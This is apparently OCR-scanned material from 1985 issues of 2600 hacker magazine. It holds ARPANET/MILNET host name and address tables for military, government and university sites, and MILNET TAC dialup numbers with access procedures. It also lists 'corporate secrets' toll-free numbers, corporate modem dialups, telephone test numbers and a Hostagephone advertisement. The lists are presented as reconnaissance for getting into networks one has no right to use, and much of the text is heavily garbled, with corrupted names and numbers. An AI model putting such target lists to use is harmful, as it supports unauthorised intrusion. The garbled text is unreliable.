KOREA=TALC
MORL-HIL-TAC
LOUIGIANA
NRBCHOLA-U1 100
HARYLAMD
APO=1
APD=2
APE-3
BRL
BRAL-BATEMAY
BRL-BATEWAYZ
BAL=TALC
COIME-DATEWAY
DAVID=-TAC
DTHSROC-0W
DTRC
HARYLAND
MARYLAND-BM
MALCOM
HOS=AMRF

PRAX-RV-TALC
PFAXRV=HES
TYCHD
HABBACHUBETTE
A=LHI-BEN-01

ARFANET =-NC
BhM=-ARPA-TAC
BBM-CLXX
BEH-CRONUE-OH
BEM=FI1BERA=ONW
BBM=RIL-TALC

10.0.0.7
19 Fadel
10.1.0.1
10.2.0.1
10.0.0.1
19.3.0.021
ID. 0. 0.23
0. 1.0.121
Db F 0. 103
10.3.0.32
10.0,:0.32
10, 0. 0,27
TheleQae 1?3
10.2.0.5
19,2, 0.33

2h.0.0. 4%
FUTR - L

Zh. 3. 0. 92
0. 2.0.%
10 2. 0. %

102 0.78
10, 0. 0.9&
10 0. 07

24.0.0.7
24.1.0.7

24.0.0.33
. Fe 0,33
2&6.4.0.33
Zh. %0, 100
28.3.0.33
Sl e Dbl
26.4.0.33

frd N T
25.0.0.44
26.2. 0. 84
28.3.0.84

24.3.0.2
4. 1.0.3
24.1.0.4
24,0.0.1
24.1.0.1
4. 1.0.3
2R 2. 0.2

o4 00114

Zb.2.0.34
Zhe Lo T

b, 4. 0,010
28.5.0,
2&.5.0.118
k. T.0.018
db.1.0.33
2d 2.0.38
2hela0.39
26.0.0.118

10,2.0,37
10.2.0.98

24:0.0.8
2&.1.0.8
Z4.1.0.%

b 0.0,117
25.2.0.117
Fh.2.0.10%

25.3.0.10%9

26.1.0.29
Zhabo0.29
24.4.0.29
26.0.0.2%9

ThaJ.0.81
24.0.0.102
2l Ja0.97
28.2.0:97
Zha0.0.37

10.6.0.63
2&.1.0.44
2h.2.0. 88
19.3.0,82
i0.1.0.43
(K P L |

10.&.0.02
10.2.0:9

25, 0. 0. 40

The Rand Corporatlion

University of Califernia
Unlvaralty of California
University of Calidarnia
Hgév'rlltv of Califaornia

usc
usc
UBC
usc
UBC
uSc
UBC
usc
uac

U.85. Declogical Burvey
U:83; Omological Burvay

MHaval Underwater Gystess
Yale University
Yale University

Universlty of Dealawars
Univarslty of O -
University of Delawars

CINCUBHAVEUR
CIHCUBMAVELUR

Alr Force Aras nt Division
fGir Forca Arm nt Divislon
Eglim Alr Force Bass

Havy Raglional Dakta

Hurtin Marietta Corporatioen
Hartin Ha ta Corporation
Maval Coastal Bystems Center

Forces Coamand

U. 8. #Arsy

Warner-Robine ALC/ARNECDN
Harner=fobine ALC/AMECDN

ICA Europs

HINET Installation

DCA Euraps

W. 5. Army Camp King

U.8. Aray Camp Eing

W.B. Alr Farce

DCA Europs

rCA Europe

Headguarters, U.B.E.COM
Aray Hatsriel Developssnt

Comsander in Chied Paclidfic
DCE Technical Conktraol

Alr Force Comsunicatians
Ale Farce Communlcationm
4Lr Force Cossunicationm
flr Force Cosmunicationms
Argonne Hational Laboratory
Bauld Baftesars Divialan

Alr Force Cossunications
aLr Force Cossunicatians

PFurdus Univarslty
Purdus University

NTCC
Naval Telw tcatlone
NATO Harit air Fleld

AUTODIN Bwitchinmg Ceanter
AUTODIN Bwitching Canter
Havy Reglonal Data

Mavy Reglanal Dakta

Tast &nd Evalustion Comsand
fAbsrdesn Froving Graund
Aberdesn PFroawving BrFsund
Aray Arnassnt Ressarch
Army Arasament, Munltions
Aray Arnassnt Ressarch
Aray Arnasent Ressarch
Hational Becurity Agency
David Taylor Naval Ship
David Taylar Maval Bhip
Cavid Tavior Maval Ship
University of Maryland
Univarality of Haryland
David Taylar Maval Bhip
Hational Buresau of Standards
Hational Bureau of Btandards
MWational Bursau of Standards
David Taylor MNaval Ship
Natiegnal Institutes of Heslth
Hational lnstlitutss af Healkh
David Taylar Maval Ship
Haval Burfscs HMsapons Centar
-

Hational Becurity Agency

BBM Comsunicatlons
@alr Force Beophysice
Alr Force Decphyslcs
EBM Cossunlcatlons

and Inc.
Bolt Beranwk and Ing.
Dalt Béransk and InE.

Balt Beransk and Mawsan Inc.
Balt Bersnsk and Hawman Inc.



HEW

BEH-HILKET-BW
BEH-HIMET-A—OH
PEM=NET-0ATEMAY

L]
-BTATION-1

BEN=VAN=-0N
BEH-VAX
BRN=-E25-0MW
H=-E33=-TEATS
BN=-H23-TEAT4
BHA

B
liNt#P

ttn-llt
CCA-UNI X
CCA=VHE
CIBL=BVE=MULT
CEMET-PDH-8H
CHMET=-RELAY
CEMET-BH
DDNZ
DEC-HUDBON
BEC-MARLBORD
PEC-TQFrOZO
HARVARD
HARVARD-GW

HINIT TE2-En
HIT=Al
HIT-OH
R1T=HC
HIT-HML

HIT-TETEW
HIT=-%X
AITRE-DEDFORD
TEP1
TEBT-HOATE-223
VAE-LZ3

MIHNEBOTA

HI-MULTICE

AIGEOURT

ALMEA-1L
BTL-HOBTY
BTL=-HOBTZ
BTLA-TAC

HEBRASKA

SAC-ARPA=TAC
BAC-BATEWAY
SAC=0w=2
BAC-HILMET-GW
BAC-BTATION
SACL=MIL=TAC
BACZ-MIL=TAC

MEW HAMFEHIRE

HTEC=TACDEW-HH2

MHEW JERBEY
ARBE

ARBC=-TAC
CECOM-1
CECOH-2
CORADCON=TAL
CORADCO TAC
HONHOUTH-E1BM
RUTBERS
RUTBERS-OH
TACTHET-0W
HEKICD

HL

AF|

AFWL-TAC
LAMNL
BAMDIA
SIHTEL2O
WEAR=-NET-0M
WEHR-TALC

A=30
COLUMBIA-BW
CORMELL
CORMELL=0W
BE-CRD

WYL

HYL=gW
RADC-&RFA-TAC
RADC-LOKEX
RADC-MULTICH

ROCHEBTER
UR=CE-08

HORTH CARDLINA

BRASD-ARPA-TAL
PRADD-PR-DM1
BRABD-FR-0MI
ERABB-BTAL

aHID

LOBHET2

WPFAFB-AFITA
WFAFE-AFWAL
WPAFBE-INFO1

L_J

10.5.0.%
2h.1.0.40
1.4, 0.82

19.1.0.02
10.0.0.99
18.3,0,99
10, 8. 0. 79

10:3: 0. 44
10.3. 0.4

10. 0. 0.8

10: 2, 0.77
19. 2. 0,44
e O e A
28,3, 0. 54
b ¥ 0. 02
1. 5. G 99
193 0.99

0. 1.0 %8

Qbed Do el
T Y
b0 0112
2h. T 0. b1

10:1,0.80

10 & 0. B0
2h.1.0.108
2. T.0, 008

26.0.0.92

Eﬁ.l.ﬂ.lﬁ
28 0.0
FITE M ﬂ.lﬂ
2k o B BO
b 1. 080
2h. 2. 0. 80
ko o Bk
1. 1. 0.89
10.1.0.089
Biea Fu P &0

Dtee ko940
6.2, 0.48
T, 0, 0.0
2t Q. Q.07
Tl OO
Tl T 0 TH
k. 2.0. 74
3. 1.0.78

T&.0,0.88
24.5.0.18

-]
10.0.0.13

BBN Cosaunlcatlons
DEM Comsunicatians
Bolt Baranek and Hewmsan Inc.
Balt Baransk and Newsan Inc.

Bolt Baranak and Inc.
and Ings

Kk and Inc.

and Inc.

and Ihe.

and Inc.

Dot Baransk and Nessan Inc.
BEN Cossunlcatlions

Inme.
IncE.
InC.
Aamr .
Computer Corporation of AREr.
Computer Corporation of Aasr.
Honsymall Inforsstion Bystess
Bolt Beransk and Meswsan Inc.

Equlpasnt Corporatien
Equipasnt Corporation
Oigital Egquipssnt Corporation
Harvard Univarsity

Harvard Unlversity

HIT

HIT

HIT

HIT

HIT

HIT

HIT

Hovassnts Information Hetwork
HIT

MITRE Corporation
Balt Beransk and Hewman Inc.
nications
unlcaktlons

Honeywsll, Inc.

Automatsd Logletlica

Army Avistion Gystess Cosmand
Aray Aviatlon Bystwss Comsand
Aray Inforsatian Bysteas

Birateglc Rir Comsand SADICC
I

Iﬁﬂ Coamand (BACK
Headguarters, BAC
BAC Cossand/ADXCC
Headquartars, BAC

Fray Faderal Bystsas

Aray Arnassnt Readsarch
Aray Arnassnt Aeswarch
Aray Cosmunlcations

Aray Comaunicatlons

Aray Cossunicatlons

#ray Consunlcatlons

U.B. #r Communicatisns
Rukg®
Rutgers

Aray Cosaunications

#ir Forca Hesapons Laboratory
Alr Force Heapons Laboratory
Los Alasos Mational

Sandia Mational Laboratoriss
Whites Gands Mimsils Ramgwm
Hhits Bandm HMiwsi Rangs
Whits Bands Himsi Rangw
White Bande Missils Rangs

Prookhavan HWaklamal
Columbia Universikty
Coeluabla Universitby
Coluabia Unlvaralty

O Corporakts Ra
MHew York Universlby

Haw York Unliverslby

Roms Alr Developmsnt Center
Roaw Alr Developsant Cantar
Roas ALr Developsent Center
Ro flr Developasnt Centar
Rao Alr Developasnt Cant
University of Rac Lar
University of Rochesstar

WPAFB=JALCF
« WPAFB-T&C
OELAHDMNA
IEBNIRE-FILL=10
TINKER-MIL-TAC
FPENNEYLVAM]A
COA-FRFOL

CHU-DATEMAY
LEBA=DD1
HADC
HEAD-HIL-TAC
NCADZ-MIL=TAC
WHARTOH-1O
RHODE IGLAMD
NAYIAF -MENPORT
HUBC-ADA
NUBC=-MPT
BCOTLAND
HIHIT-HLH-TﬁC

A=LHI=-COL-02
nFnP:—l
AFHPC
lnnun# AFD=-TAC
COLL INS-0W
COLLIME-FR
COLLINS=TAC
1GMIRE-FTELIASE
uT=HOF
UT-BALLY
uTirag-29

THE NETHERLAWDG
MIMET-ROM-TAC

UTAM
DPO=1
BUBMAY-HIL-TAC
UTAH=20
UTAH-C8
UTAH=OATEHAY
UTAH=TAC

VIBIMIA
AR =HA1
ARPA-HILMET =0
ARPA-PNB11
ARPAL=NIL=TAC
ARPAZ-HIL-TAC
ARPAI-TAC
ATPFUR~-COC
CEC-0R
CEE-BATEWAY
CHO-RING-BW
DARCOM=HE
DARCOM-TAC
CARPA-OW
DCEC=ARPA=TAC
DCEC-BATEWAY
DCEC=LBUS
DCEC-LBUBZ
DCEC-MIL-TAC
DCEC=MILMET=0W
DCEC-PEAT
DCEC=PEAT=-10
DCEC-TAC
DEN=BATEWAY
DOM=PHO-HEIL-TAC
CODNI
COM=UNIX
ETL=-Al
HUEY-BM
1oniRE-CIDE
IanIRE=-DARCON
IBMIRE=TRADOC
IFTO-BM
LOUTE=D
MITRE
HITRE-BATEWAY
MITRE-LAW
HITRE=TAC
HORFOLK-MILTAG
NOWE-DL

TCACCIB-CSC
UBADHEZ

WABHINGTON
UW=-VLBL
UM=Y¥LEO1 =0
WABHINETON
WABHIHETOM-TAT

WABHMIMNOTOM, D.C.

IEAIRE-DATIA
HARDACHABH-0O1
HRT=PL
HEB-UNIX
HAEB-WHME
HAL
HRL-AIC
HRAL-ARCTAN
MAL=CBS
HRL-CEE-0M
HAL-TOFB1Q
PENTADON=TALC
HIBCOHBIN
WIBC-BATEWAY

bR 0. AT
Thade 0. 4T

28,1.0.71
220 T1

2h.1.0.010%
10.1.0.14
FE.T. 047
10.3.0:.14
10.2.0.14
24, 3. 0. 50
25.0.0.28
2h.2.0.114
26:5:0. 114
10.1.0.9%

2k 8. 0. 92
2h.1.0.92
lsu a0 ¥

281013
24.F. 0. 41

LD %, 0. 48
2ol 101
2. 1.0:.30
Db 00T
10:.1.0.458
10 0. 0. 48
10,2088
Tl A0,

1. 0.0, 62
10,2042
10. 0. 0.82

T 108

2. 1.0.120
Fho 0. 0. 120
10 Faa

10.2.0.48

oo Lo 930
16, 2. 0. 28
The 3 @e 106
26, 1.0. 108
24,260,108
10 0. 0. 28

Zhaba 0. 39

10.3.0.%1
10.F.0.F1
16.0.0.%1
190.2:0.%1

28.0.0.47
el Q.87
28.5.0. 104
P
o ! o.@
24

2o 0a . Th

10. 0. 0. 94

HWright=Patterson Air Force
Asronautical Systess

Headgquarterws, ODepartasnt of
Tiaker ALr Forces Bass

Aray Matsrial Developasnt

Carnagla-Mallan Usalversity
Letkerkanny Aray Dapobt

Maval Air Developassk Canbtar
M#w Cusbarland Aray Depot
Haw Cusbarland Arsy Depot
Univarsity of Pannsylvanis

Haval Data Autaeation
Maval Underwatsr Systese
Haval Undereater Systess
HAVALTS

Dak Ridge Mational Labaratory

Hn:iulll

Internatlanal

Bir Forca

Alr Force

Alr Force OSysteas Coaaand
Aockwall IntErnaticnal
Rockuall laternatlomal
Rockwell Internatiomal

U-B. Aray

University of Teanam

Lty of Texas at Austin
ity af Te

MTHC TTCE

Dugway Proving OGround
Buguay Proving Bround
University of Utah
of Utah
af Uiah
Unlv-riitv ai Utah

Army Ressarch Inst
Daémanea Advanced R
CDefenas Advanced
Catenea Advanced
Oafanas Advanced

T h
Taladyne Elﬁlleh
Aray Haterisl Davelspasnt
Aray Matsrisl Developasnt
Conter for Salessic Studies
Comsunlicatlone
Coasunicatlons
Cossunlcatlons
Comsunicatlons
Cossunications
Eomaunicablons
Comsunicatisns
Comsunications
Comsauynicaktlans
Linkabit Corporation
n Cassunicatlions Agency
A Imc.

ran and
n-f-n-- Communl
U.B. Army Englassr
MITRE Corporatien
Criminal Investigation
W.T., Army Hatarial
Training and Dectrine Command
Dafanss Advanced Ressarch
MITRE Carparatlion
MITRAE Corparatior
HITRE Corparatic
HMITRE Corporatlos
HITAL Corparatlsn
HAB Harfolk
Haval Burface Mesapons Center
Haval Burface Wesaponm Center
N Hurface Weapens Canter
pons Center

ians

-
mnces Corporatlan
Headquarters DARCOH

Ualvaralty of Mamhington
Univearsity of Hashington
Lty of Mashingkan
ity of Washingtan

Alr Force Oys
Alr Forcs Byskt
Dedesnes Comsunlications AgeEncy
Hesdquarters, Departasnt of
Mavy Reglonal Date

Matignal Burssu af Btandards
Mational BPuresw of Btandards

Matisnal Burssu of Gtandards
Ma relh Laboratory
ME R rch Laboratory
Maval R rch Laboratory

Maval Ressarch Laboratery
Haval Russsrch Labaratory
Maval Ressmarch Laboratory
Alr Force Data B8ervices

Univarsity of Wisconsin

see "ARPANet Hopping" from 1984 collection
for details on how to use this data

10.2.0.30 Chimi, ADODE Enparlasntal
10 O Oa 38 Chimf, ADDE Cwperissntal
10.3,.0.38 UaBs Mray Alreorne Doard
19,.1.0.30 Ehiaf, AGDE Exparisantal
26.0.0.47 Headgquarters, ALr Force
PN Wright-Pattersen Alr Force
2h:1:0:47 flr Forcae Wright
2.3 0. 47 Wright-FPattarason Alr Force
FAL i o
TEETUY PLPTAN
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MAY 1985

MECK AND BACH BENT—
13

50

g

‘Wil Plaing

ARME TOO HIGH AND KO
(e P0G+ 456 1000 fAy

FOREARM QR WRIST

KEYBOARD TOO HIGH—
SUPPORT

WORK SUREACE TOD
HIGH [AT DESK HEIGHT}
AND NOT ADJUSTABLE
+ 700+ 424 2000 5]

B aign -

Re’ll soon be

using the phone on the next

O 004562002 [G)

And if he isn’t
04 T 4 - 1005 (&)

careful with the way he

information on

N AND DOCUMENT

RE
TOO LOW

"k e e of ITAT

MO BACK SUPDORT
CHAN HENGHT NOT
ADJUETABLE AND
NOT CLSHIONED
Harry the Hacker is clearly
unhappy.
uses the
this page,
- M= - 2001 060
Q] [l i

Acdmg eGraphes

page.
.
A
Lod Angeies
Do FO0 =455 1001 {R)



SOME CORFORATE SECRETS:

1-800
227-3414 281=-4025
243-7650 321-0B45
S21-0845 325-7227
32597222 327-9136
327-91346 I27-9895
Z43-1319 S43—-1385
343-1711 343-1844
343-1844 345-8853
=S21-8400 S23-0847
S27-3511 S27-3511
527-3335 S43-7148
S47-6734 &£21-15046
6£54-84%1 4£54-8494
SB2-4000 843-0498
838-9000
SURPRISE 2059870785
CNMN 80035435924
CNN DATA BOOSS45925
CNN NEWSROOM BOOSS5459258

MUSAK-NON-SUFED 5124740934

BBCZ AUDIO

YD INFO

TOURIST INFOD

0114112468024
0114112458072
0114112468041

IN FRENCH 3

IN

DIAL-A-FLANET

SURFRISE

BERMAN 3
0114112458055
0114112448015

CB5-REMOTE FEED 2125B04481
US—-DIAL TONE IN UK {(POSSIBLY

NON-SUPED)

011445612468011

The No We're Not Kidding Dept.
Yes, this is a real ad!

COLLECT ONLY SERVICE

(INMATE SERVICE)

—

Contact your Michigan Bell Inmate Communica-
tions Specialist for information regarding new
service, changes or additions.

CALL TOLL FREE:
1800 482-0666

THE COST EFFICIENT SYSTEM
fDr areas serviced by Michigan Bell.

@ Michigan Bell



JUNE 1985

THIS IS A LIST OF 300 PREFIKES

IN OHDER BY STAT

ALABAMA. . ............ 633 205 MISSOURI.....vennuuun 821 816

ALASKA. ........... ...544 an7 325 417

ARIZONA........rv-us- 528 602 641 314

ARKANSAS. . ....cvcvunn 643 501 MONTANA. - . coveuvavans 548 406

CALIFORNIA...........227 415 NEBRASKA.........ca.. 228 402

421 213 445 308

423 213 NEVADA, + v sowinnsens 634 702

854 714 648 702

824 916 NEW HAMPSHIRE........258 603

538 408 NEW JERSEY........... 257 609

235 8056 NEW MEXICO...........945 505

344 209 NEW YORK........0nn.. 223 212

358 707 ) 847 607

COLORADO. ............ 525 303 221 212

255 303 431 914

CDNNECTICUT .......... 243 203 828 716

............. 302 645 516

DISTRICT OF COLUMBIA. %Eé %ﬂ 448 315

0 833 (518

FIORIDA.........cuun. 327 305 NORTH CAROLINA.......334 919

237 813 38 704

874 904 NORTH DAKOTA......... 437 701

GEORGIA.............. 841 g912)  DHIOL e iea PR -3 | 216

241 404 543 513

554 404 537 419

HAWALL o oo ivwasmaeam 367 808 848 614

IDAHO. .o v ieeeeenennns 635 208 OKLAHOMA. ...... ceea..B54 405

ILLINOIS. . .cvivennes 621 312 331 918

323 312) OREGON.......ccvneees 547 503

637 217 PENNSYLUANTA ....... ..523 215

435 815 345 215

447 309 458 814

851 Bl8 245 412

INDIANA. . ... ..iiunnn. 457 B8l2 233 T17

348 219 PUERTO RICO.......... 468 809

TOWA i cviinn s ainsinns 553 319 RHODE ISLAND.........556 401

247 515 SOUTH CAROLINA....... 845 803

831 712 SOUTH DAKOTA.........B843 605

KANSAS. ... vvnrrennnn. B35 316 TENNESSEE. ..... cees..251 615

255 913 238 901

EENTUCKY......cvunv--. 626 502 TEXAS. ... . 5c0a0as . D27 214

354 606 433 817

LOUISIANA............535 504 531 512

551 318 231 713

MhINE ................ 341 207 351 713

MARYLAND........... .. 368 301 858 806

MASSACHUSETTS....,.,.343 617 UTAH.... ch ek ... .453 801

225 617 ERMONT. . ..... SRy L 1 | 802

628 413 VIRGINIA......ccvuvnn 446 804
MICHIGAN............. 253 616 368

521 313 336 703

338 906 VIRGIN ISLANDS.......524 809

517 248 WASHINGTON. .......... 426 206

MINNESOTA............ 328 612 541 509

533 507 WEST VIRGINIA........ 624 304

346 218 WISCONSIN. ..... R 121 608

MISSISSIPPI.......... 647 601 558 414

WYOMING. .. .oivnvnrnns 443 307

The 1ist above Has'posted on The Pfivate Sector

by AX MURNERER.

It should be noted that with modern methods of phone routing and
billing this 1ist cannot be depended on as complete and accurate.
These exchanges are now only generally found in the areas or area
codes listed, because with the newer technelogy there are
relatively few restrictions as to the actual phone number
assignments for tell free service. In some of these exchanges 71t
is possible to dial the exchange and then "0000", and the
location will be read off by some recorded clown somewhere.

sSoME CORFORATE
MODEMS

S800S5S2&68F714
S8003T43ZT0OFFF
S8003ZT43FT1 360
so00821 1200
800=2541549
S800=435884%
S800321 1570
800321158495
8003256397

ARFANET DIALUFRS
QLSZT275220
FOo19483385S0



JULY 1985

HILMET TAC DIALUPS SORTED BY LOCATION 22-JAN-B3
State/Country 300 Baud 1200 Baud 1200 Type

e e SESE RS

"ianiston aray Depot

nniston Aray Depo

[thIS-HIL-T Ci i [205) 235-4285 (R4) {205) 235-7450 BV
tPlease note: When accessing the Anniston TAC you must

first enter a (RETURN>, then enter DDN CRETURN:. After

you receive CLASS DON START, proceed as norsal.

Bunter AFS
(GUNTER-TAC) (205} 279-3576

{203) 779-4482

Fedstone Arsenal
(NICOM-THC)

ARTZONA
Ft. Huachuca
{HUAC-MIL-TAC)

[none knownl

[none knownl
Yuma
[YUNRA-TAC)

CALIFORMIA (NORTHERN)

{none knownl

Menlo Park

{SRI-MIL-TAC) [415) 327-5440 (R3) (415) 327-5440 (R3) B
{USES3-TAL) (no dialups]

Moffett Field .

(RMES-TAC) [no dialups; contact liaison for access)
Montere

{RPS-TAC) {none knownl

CALIFORNIA {SOUTHERN)
Edwards AFH
(EDWARD-NIL-TAC)

El Segundo
(AFSC-SD-TAC) (213) &43-26%0 (R9)  (213) 643-2690 (RY) B

$Please note this temporary procedure for accessing this TAC
once you have dialed the nusber above:

- Hit CTRL-0 to aet the attention of the TAC
- sze *RRTAC {Ck>" to the “enter host® proapt

[none knownl

- When Hnu see "open...” hit CTRL-@ again, and you will
see the TAC herald
China Lake
{NMC-TAC) {none knownl
San ﬂ]E%ﬂ
{ACCAT-TAC) (19} 225-1841 (R4 {619) 225-8903 )
16190 225-694& (RI)
(619) 223-2148 ¥

{619) 226-7884 (R

Santa Monica
(RAND2-NIL-TAC)

COLORADA
Denver Fed Ctr
{US652-TAC)

nl’cl .
Washington
[Andrews AFBI
[AFSC-HE-TACY 1301) 967-7930 (R1&)

(PENTAGON-TAC] (202) 553-0229 {R14)

[none knownl

{(303) 232-0204 {303) 2320204 B/Y

(301) 967-7930 (R1&) B
(202) 5533-0229 (R14) B

State/Country

-

FLORIDA
Eglin AFE
{AFSC-AD-TACI

300 Baud

(304) BE2-3242
(904) 882-1248
{904) B882-8202
{704) B882-8201

Naval Air Station - Jacksoaville

{JAT1-NIL-TAC)

GEORGIA
Robins AFB
(ROBINS-TALC)

HAWAT 1

Canp H.M. Seith

(HANATI2-TAC)

ILLINOIS
Scott AFB
(SCOTT-TAC)

(SCOTT2-NIL-TALC)

KANSAS

Ft. Leavenworth

ILVN-HIL-TAC)
LOUISTANA

Nay Re?iunai Data Automation Center

{NORL-N
MARYLAND

L-TAC)

fiberdeen Proving Br
[501)

(BRL-TAC)

[none knownl

(912) 924-2725
(912) 926-272b
(912} 926-3231
(912} 926-3132
1912} 926-2204

(808) 488-56227
(808) 477-694b
(808) 477-6A3%
[BOB) 477-6843
{B0B) 477-5B44
(B0B) 477-6B33
(B0B) 4B7T-7787

[none known)

{none knownl
[none knownl

[none knownld

1200 Baud

- s o

1200 Type

{904) 682-8202 B/Y
{504) B882-8201 V

(912) 926-2204 BV

ound
278-6%16 (R4 {301) 27B-6%16 (R4) BAV

%EEE§;E=QE! {202) 227-3526 (R1b) 1(202) 227-3526 (R16) B/V

Fatuxent River
{PAX-RY-TAC)

HASSACHUSETTS
Hanscom AFB
{AFGL-TAC)

EalhridEe g
(BAN-MIL-TAL)

NICHIGAN

301) B63-4B15
301

{
{301) Bb3-4B1&

{617) Bb1-5591 (RE)

[none knownl

{301) B&3-4815 B
{301) Bb3-481s BrY

{617) BA1-5591 (RB) B

u.5. ﬁr-;clank futoaotive Command (TACOM} - Warren

{TACON-TAC)
HISSOURI

St. Louis
{STLA-TAC)

NEBRAGKA
Offutt AFB
(SAC1-MIL-TAC)

[SACZ-NIL-TAC)

[none knownl

[none known)

(402) 292-7050 (R3)

[none knownl



MILNET TAC DIALUPS (Cantinued)
0 Baud

%Eateftuuntrf 30 1200 Baud 1200 Type
NEW JERSEY
Daver
(ARDC-TALC) (201) 724-6731 {2011 724-8711 B/Y
{201) 724-6712 {201} 724-4732 BiY
{201} 724-6713 1201} 724-6733 B/Y
(2013 724-6734 1201) 724-b734 By
Fort Monmouth
(CORADCOM-TALC) Cno dialups)
(CORADCOMZ-TAC)  (201) Se4-4254 (R3) (201) S44-2430 B
(201) S44-2635 B
(201) S544-2438 B
(201) 544-2777 B
MEW MEXICD
thuqulraul
(AFWL-TAC) [none knownl
dhite Sands
{NSNR-TALC) (305) &78=3334 (FT5) B9E

iPlease note, when accessing the White Sands Missile Range
host computer through one of these TAC phone nuabers you
aust first go through the following steps before opening
the connection:

ENTER CLASS ddmet3 <CR> 60 <{CR}

{503) &78-3701 (FTS) 898
(505) &78-6431 (FTS) B98
{505) &78-1438 (FTS) B98
[505) &78-1354 (F18) B98

EW YORK
Eriffiss AFB
{RADC-TAC) (315) 339-4913 (RS)

(315 337-2004 {315) 337-2004 B/

{315) 337-2005 {315) 337-2005 BV

(315) 330-2294 1{315) 330-2294 (FTS) 952 B/V

(313) 330-3367 (313) 330-3587 (FTE) 932 BNV
NORTH CARDLINA

Ft. Bra
1BﬂﬂEE-ﬂ?L-Tﬂti [none known)

ORI
Wright-Patterson AFR
{WPRFB-TAC) (513) 298-4218
1513 258-421%
(313) 258-4987
{313) 258-4988
{313) 258-4989
(513} 258-4590
OKLAHOMA
Tinker AFB
{TINKER-MIL-TAC) [none known)
PENNSYLVANIA

New Cumber]and nr;E Depot
{NCAD-NIL-TALC) none knownl

{NCADZ-NIL-TALC}

TEXAS
Brooks AFB
{BRODKS-AFB-TAC) (512} 336-3081 (R&) 1512} S35-J0B1 {R&) B/

UTAH
Du Iis Fruvina Ground

[none knownl

(DUEWAY-MIL-TAC) [none knownl
VIRGINIA =

Alesandria

(DARCOM-TAL) 1202) 274-5300 (2021 274=5100

E
{202) 274-5320 (R&) (202) 274-3320 (Rb) B

State/Country 300 Baud 1200 Baud 1200 Type
#rlin?tun

(ARPAI-NIL-TAC)  [none knownl

{ARPAZ-MIL-TAC)  [none known)

Dahlgren

(NSWC-TAC) [no dialups; contact liaison for access)

McLean
(DDOM-FPMO-NIL-TAC) [none known)

{NITRE-TAC) {703) 442-8020 {R15)
(703) 893-0330 (R10) (703} B93-0330 (R1D) BAV

{804) 423-0241 (R2)
(804) 423-0247 (R2)
(304) 423-0345 (R4}
{804} 423-0480
(804) 423-0485 (R2)
(B04) 423-0489
{804) 4230570
(804) 421-0572 (R2)
(B04) 423-0577 (R2)
(B04) 423-0451
(B04) 423-0654 (R3)
(804) 423-0841 (R2)

Norfolk

(NORFOLK-MILTARC) (BO4) 423-0241 (R2)
(BO&) 423-0247 {R2)
(804) 423-034b (R4)
(BO4) 423-0480
(B04) 423-04B6 (R2)
{804) 423-0489
{804) 423-0370
(BOA) 423-0372 (R2)
(BO4) 423-0377 (R2)
(B04) 423-0451
(804) 423-0454 (RI)
{804) 421-084] (R2)

ReilocRealecfoal--qa-l-c0--0--4--1--J--L-—J--0__J- R .J]-J]

(B04) 423-0845 (B04) 427-0845
(BO4) 427=-0845 (B04) 423-0849
{BO4) 423-0838 (B04) 423-0B5E
(B04) 423-0930 (804) 423-0930
(B04) 423-0932 (804) 423-0952
(BO4) 423-0933 (R3) (BO4) 423-0935 (RY)
(B04) 423-0959 (B04) 423-0959

Reston

{DCEC-TAC) [none knownl

(703) 437-2928 B
(703) 437-2929 B

(DCEC-NIL-TACY  (703) A37-2892 (RS)
(703) 437-2925
(703) 437-2926

(703) 437-2927

BERNANY
{FRANKFURT-NIL-TAC)
(M) 2311-5641 (RB) B

KOREA
{KOREA-TAC) (N} 2b4-4951 (RBI B

Notest

1. "(R10)" following phone nuaber indicates a rotary with
10 Hnes.

2. For alternate phone nusbers, FTS=Federal Telephone Systea.
3. (Mi=Military Dob Telephone Systens.

4, "1200 Type® refers to the modem compatibility for
1200 baud only:
B/V = Bell and Vadic
B = Bell 2124 onl
V= Vadic 3400 only

5. This list is contained in the file NETINFO:TAC-PHONES.LIST
at SRI-NIC.

b. This list was obtained for 2600 courtesy of The Private
SECTOR BBS: (201) Job-4431,
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THE NEW AT&T HOSTAGEPHONE SYSTEM

FEATURES
THE HOSTAGEPHONE TELEPHONE

- Is housed in a high impact plastic case. Receiver
and transmitter caps have been glued on and
modular cords modified so that they cannol be
readily detached

- Unit contains Sonalert

- Battery Powered
o

- Network Patch Cord & Phone
- Recording Jacks

- Remote Loudspeaker w/25' Cord

The AT&T Hostagephone System
accommodates a full range of
situations requiring emergency
communications between law
enforcement agencies and persons
involved in a critical or criminal act.

BENEFITS

- The Hoslagephone Telephone 1s designed to be tamper-
resistant.

- Unit can be signaled from control unit.

THE HOSTAGEPHONE CONTROL UNIT

- 24 hour gperation with battenes or can be powered from
110V AC which will automatically recharge the battery
packs.

- Provides accessibility o the outside network

- Enables tape recording of entire situation.

- Allows monitoring and intercom remaote from negotiator

THE HOSTAGEPHONE CABLE REEL

-1200 Ft. of 2 Pair Cable

The AT&T Hostagephone is a s@f contained. state of
the art system developed to provide effzclive
communication under adverse field conditions, The
ATA&T Hoslagephone Syslem s an economical add:-
tion 1o any emergency response team

2600 Reader: Please accept our assurance that this is
for real. Call it a true sign of the times. Only $1850!

- Provides safety of distance for the negotation team.

For Further Information Contact Our
Hostagephone Representative

On 1-800-228-9811

Or 402-593-1200

ln

i

I
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TEST NUMBERS BY THE SHADON - not gquaranteed, of course.

O11-44-61-2468011 ¢ US dial tone then "When this

201-226-070% ¢
201-267-9922 :
201-267-9966 1
201-232-9924

201-232-993% !
201-233-9972 »
201-233-9974
201-241-9916 ¢
201-328-9971
201-376-9947

201-4b4-9913 1
201-464-9914 3
201-464-9943
201-464-9974 :
201-343-9902 :

201-543-9%03 :
201-343-95904
201-635-9900 ¢
201-769-0205 :
203-771-4520

207-Bob-4411 :
212-233-9980 @

-

212-369-7003 :

212-799-3017 1
213-621-414
213-%35-1111

213-489-0035 :
215-489-0040 1

215=489-0047 :

215-48%-0043 ¢
215-489-0044 :
215-489-0045 1
215-489-0074

215-489-0075 :
215-489-0078 :

systea changes, this is the new dial
tone you hear® (UK is changing
dialtone)

alternating tones, then “warble®

sueep tone

400 cha termination

{tone 1,2,5-beep, bleep; %,4- 1200 baud
static, beep, bleep; &-tone, higher
tone, bleep!

tone 11 sec. silence, repeats...
sultitude of clicks

busy 15 sec. then tone w/ clicks
hissing with clicks

1000 hrtz tone

*is being checked for trouble, Please
try again later®

low tone IS sec, silence

low tone 2 sec, silence

buzz

busy 13 sec, low tone

*If you'd like to make 4 call, hang up
and try it agaim.*

"We're sorry, your call did not go
through, *

*the nusber you have dialed reguires a
.20 cents deposit.”

"cannot be cospleted as dialed fros the
